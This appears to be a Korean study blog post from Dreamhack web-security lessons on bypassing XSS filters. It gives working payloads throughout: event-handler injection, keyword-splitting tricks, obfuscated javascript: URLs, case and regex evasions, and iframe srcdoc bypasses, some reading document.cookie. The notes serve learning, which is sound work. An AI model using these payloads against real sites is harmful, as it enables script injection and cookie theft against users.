XSS filtering bypass 1

XSS 필터링 -> 안전한 마크업만 허용하는 보수적 방식

 

1. 이벤트 핸들러 속성

자바스크립트 코드 실행 태그 <script> 이외에도 존재

태그의 속성값으로 스크립트 포함하는 경우 多

 

그중에서 

이벤트 핸들러 속성 -> on

이벤트 핸들러: 특정 요소에서 발생하는 이벤트 처리 위함, 콜백 형태의 핸들러 함수 

이벤트 핸들러 내에 XSS 공격 코드 삽입 -> XSS 공격 코드 실행 

이벤트 핸들러 종류 다양 -> 원리도 다양 (advanced. mozilla developer network)

자주 사용 -> onload, onerror, onfocus 

 

1) onload 이벤트 핸들러

<img src="https://dreamhack.io/valid.jpg"
onload="alert(document.domain)">
<!-- -> 유효한 이미지 로드 후 onload 핸들러 실행 -->

<img src="about:invalid"
onload="alert(document.domain)">
<!-- -> 이미지 로드 실패, onload 핸들러 실행하지 않음 -->

 

2) onerror 이벤트 핸들러

onload와 반대

<img src="valid.jpg"
onerror="alert(document.domain)">
<!-- -> 유효한 이미지 로드 성공, onerror 핸들러 실행하지 않음 -->

<img src="about:invalid"
onerror="alert(document.domain)">
<!-- -> 이미지 로드 실패, onerror 핸들러 실행 -->

 

3) onfocus 이벤트 핸들러

input 태그에 커서 클릭 -> focus -> 이벤트 핸들러 실행 

공격할 때는 자동 포커스 시켜서 핸들러 실행하도록 함

1. autofocus 

2. URL의 해시부분 id 속성값 ex.http://dreamhack.io/#inputID

<input type="text"
id="inputID"
onfocus="alert(document.domain)" autofocus>

 

 

2. 문자열 치환

script 필터링 -> scrscriptipt 같은 중간삽입

script가 제거되면서 또 하나의 script 만들어짐 

필터링 우회 예시

(x => x.replace(/onerror/g, ''))('<img oneonerrorrror=promonerrorpt(1)>')
--> <img onerror=prompt(1) />

 

문자열 치환 우회: 위 필터링 대응 방안, 문자열에 변화가 없을 때까지 지속적으로 치환하는 방법

특정 키워드가 최종 마크업에 등장하지 않음

but, 고려하지 못한 구문이나 WAF 방어 무력화 등에는 여전히 취약 

function replaceIterate(text) {
    while (true) {
        var newText = text
            .replace(/script|onerror/gi, '');
        if (newText === text) break;
        text = newText;
    }
    return text;
}
replaceIterate('<imgonerror src="data:image/svg+scronerroriptxml,&lt;svg&gt;" onloadonerror="alert(1)" />')
--> <img src="data:image/svg+xml,&lt;svg&gt;" onload="alert(1)" />
replaceIterate('<ifronerrorame srcdoc="&lt;sonerrorcript&gt;parent.alescronerroriptrt(1)&lt;/scrionerrorpt&gt;" />')
--> <iframe srcdoc="&lt;&gt;parent.alert(1)&lt;/&gt;" />

* 코드 풀이:

replaceIterate 함수는 newText와 text가 000이면 break하고 그렇지 않을 때마다 newText 함수를 실행

더보기

자바스크립트 var: 변수 선언 시 필요

var a= 0;

var b;

값을 할당하거나 빈 변수 선언 가능 

 

*호이스팅 

<imgscript src="data:image/svg+scriptxml,&lt;svg&gt;" onloadscript="alert(1)" />

 

3. 활성 하이퍼링크

HTML 마크업에서 사용하는 URL은 활성 콘텐츠 포함 가능

이중 javascript: 스키마 -> URL 로드 시, 자바스크립트 코드 실행

예시

<a href="javascript:alert(document.domain)">Click me!</a>
<iframe src="javascript:alert(document.domain)">

a태그나 iframe 태그 -> javascript: 스키마(활성 콘텐츠) -> URL 로드 

때문에 XSS 필터링 시, javascript: 스키마 사용하지 못하게 필터링

 

1) 정규화를 이용하여 우회

*정규화(normalization): 브라우저가 URL 사용 시 거치는 과정, 동일한 리소스를 나타내는 URL들 통합하는 과정 

\x01, \x04, \t 같은 특수문자 제거, 스키마 대소문자 통일 과정 등이 존재 

<a href="\1\4jAVasC\triPT:alert(document.domain)">Click me!</a>
<iframe src="\1\4jAVasC\triPT:alert(document.domain)">

 

2) HTML Entity Encoding을 통한 우회 

HTML 태그 속성 내에서 HTML Entity Encoding 사용 가능 

이를 이용해 javascript: 스키마나 이외의 xss 키워드 인코딩 -> 필터링 우회

<a href="\1&#4;J&#97;v&#x61;sCr\tip&tab;&colon;alert(document.domain);">Click me!</a>
<iframe src="\1&#4;J&#97;v&#x61;sCr\tip&tab;&colon;alert(document.domain);">
더보기

HTML Entity Encoding이 뭔데 그래서

HTML에서 특수 기능하는 문자를 문서 내용으로써 삽입하기 위한 인코딩 

 

예를 들어

<script> alert("ABC") </script>

구문을 

&lt;script&gt; alert("ABC") &lt;/script&gt;

로 인코딩 수정할 수 있음 

 

직접 URL을 정규화 해보자

자바스크립트는 URL 객체를 통해 정규화 가능

protocol, hostname 등 URL의 각종 정보 추출 가능 

function normalizeURL(url) {
    return new URL(url, document.baseURI);
}
normalizeURL('\4\4jAva\tScRIpT:alert(1)').href
--> "javascript:alert(1)"
normalizeURL('\4\4jAva\tScRIpT:alert(1)').protocol
--> "javascript:"
normalizeURL('\4\4jAva\tScRIpT:alert(1)').pathname
--> "alert(1)"

\4,\t 등 모두 삭제 

 

4. 태그와 속성 기반 필터링

1) 대문자 혹은 소문자만 인식하는 필터 우회

x => !x.includes('script') && !x.includes('on')

위에서는 특정 키워드(script, on)의 대소문자를 모두 검사하지 않는다

다음과 같이 우회할 수 있다 

<sCRipT>alert(document.cookie)</scriPT>
<img src=x: oneRroR=alert(document.cookie) />

2) 잘못된 정규표현식을 사용한 필터 우회

키워드 필터링은 정규표현식을 사용한다. 

다음은 스크립트 태그 내에 데이터가 존재하는지 검사하는 정규 표현식

x => !/<script[^>]*>[^<]/i.test(x)

스크립트 태그는 태그 내에 데이터 존재하지 않아도 src 속성으로 입력 가능 

<script src="data:,alert(document.cookie)"></script>

 

다음은 img 태그에 on 이벤트 핸들러가 존재하는지 검사하는 정규표현식 

x => !/<img.*on/i.test(x)

하지만 멀티 라인에 대한 검사는 존재 X -> 이를 우회 

<img src=""\nonerror="alert(document.cookie)"/>

 

3) 특정 태그 및 속성에 대하 필터링을 다른 태그/속성을 이용하여 필터 우회

다음은 script, img, input 태그 필터링 

x => !/<script|<img|<input/i.test(x)

HTML 내에는 이외에도 다른 태그를 사용해서 공격 가능(아래 예시)

<video><source onerror="alert(document.domain)"/></video>
<body onload="alert(document.domain)"/>

 

다음은 on 이벤트 핸들러 사용 X && 멀티 라인 지원하는 문자 검사 

x => !/<script|<img|<input|<.*on/is.test(x)

iframe 태그로 우회 가능, iframe 태그의 src 속성은 URL을 인자로 받음

-> 활성 하이퍼링크 사용 -> 자바스크립트 코드 삽입 가능 

srcdoc 속성 사용도 가능( xss 공격 코드 입력) 

<iframe src="javascript:alert(parent.document.domain)">
<iframe srcdoc="<&#x69;mg src=1 &#x6f;nerror=alert(parent.document.domain)>">

 

더보기

data.toLowerCase().includes('script')

자바스크립트에서 toLowercase()는 모두 소문자로 바꾸는 함수 

 

오답정리

function XSSFilter(data){
  if(data.toLowerCase().includes('script') ||
     data.toLowerCase().includes('on')){
    return false;
  }
  return true;
}

위 필터링 우회해서 alert 실행

<iframe srcdoc='<img src=about: o&#110;error=parent.alert(document.domain)>'></iframe>

srcdoc 호출 parent.alert 호출 -> 삽입된 xss 페이로드 iframe 안에서 호출, 페이로드 호출 상위 문서에 존재하는 alert 호출해야됨

'security: study > web: dreamhack' 카테고리의 다른 글

sql 시스템 테이블 정리  (0) 2023.12.31
error based sql injection  (0) 2023.12.28
SQL injection 1  (0) 2023.12.26
XSS filtering bypass 2  (0) 2023.11.08
CSRF +  (0) 2023.10.11